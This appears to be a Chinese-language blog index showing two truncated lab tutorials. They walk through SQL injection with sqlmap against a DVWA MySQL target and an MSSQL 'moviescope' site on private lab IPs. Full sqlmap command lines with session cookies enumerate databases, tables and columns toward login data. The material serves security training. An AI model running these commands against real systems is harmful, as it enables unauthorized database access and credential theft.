發表文章

目前顯示的是有「資料庫破解」標籤的文章

MySQL 盲隱碼攻擊

圖片
 MySQL 盲隱碼攻擊 前一篇進行了 MSSQL 的隱碼攻擊,接下來要進行 MySQL 的盲隱碼攻擊 攻擊目標 : http://10.10.10.16/dvwa,使用者帳號 admin 密碼 password,先進行登入 此為測試攻擊的網站故先將網站安全等級調整至 low 先做 SQL Injection (Blind) 的測試,輸入 1 送出如下圖 可以看到沒有顯示任何結果 網址如下 http://10.10.10.16/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit# 透過同樣手法先拿取 cookie 值 security=low; PHPSESSID=4q95hhrnvro25i0s0q48dau032 開始 sqlmap 查是否可以 SQL Injection 指令 : sqlmap -u "http://10.10.10.16/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=4q95hhrnvro25i0s0q48dau032" 開始執行資料庫列舉 --dbs 指令 : sqlmap -u "http://10.10.10.16/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=4q95hhrnvro25i0s0q48dau032" --dbs 看到 6 個可用的資料庫,使用本攻擊範例資料庫 dvwa 下一步列舉資料表 指令 : sqlmap -u "http://10.10.10.16/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=4q95hhrnvro25i0s0q48dau032" -D dvwa --tables 兩張資料表 guestbook / users,有...

MSSQL 隱碼攻擊

圖片
MSSQL 隱碼攻擊  攻擊目標主機 IP : 10.10.10.19 網頁 : http://10.10.10.19/moviescope 預設知道使用者帳號 sam 密碼 test 進入到查看個人 profile 頁面如下圖 重新;整理頁面後從 Request Header 中提取 cookie 值如下 mscope=1jWydNf8wro= (此為隨機值,不同 Session 有不同的值) 透過 SQLMAP 工具帶入 URL 與 Cookie 進行檢測 指令 : sqlmap -u "http://10.10.10.19/moviescope/viewprofile.aspx?id=1" --cookie="mscope=1jWydNf8wro=" 可以看出檢測出後端可能是 MSSQL 以及 injectable 開始進行第一步列舉 DB 資料庫,於原有指令後加上 --dbs 指令 : sqlmap -u "http://10.10.10.19/moviescope/viewprofile.aspx?id=1" --cookie="mscope=1jWydNf8wro=" --dbs 可以看到該 DB 伺服器共有 9 個資料庫 本攻擊範例選定第四個資料庫 GoodShopping 進行下一步列舉 在選定要執行哪一個資料庫後參數使用 -D,接著就是列舉該資料庫中的 table,參數 --tables 指令 : sqlmap -u "http://10.10.10.19/moviescope/viewprofile.aspx?id=1" --cookie="mscope=1jWydNf8wro=" -D GoodShopping --tables 可以看到 Login 這張 table 在選定要執行哪一個 table 後參數使用 -T,接著就是列舉該 table 的欄位,參數 --columns 指令 : sqlmap -u "http://10.10.10.19/moviescope/viewprofile.aspx?id=1" --cookie="mscope=1jWydNf8wro=" -D Goo...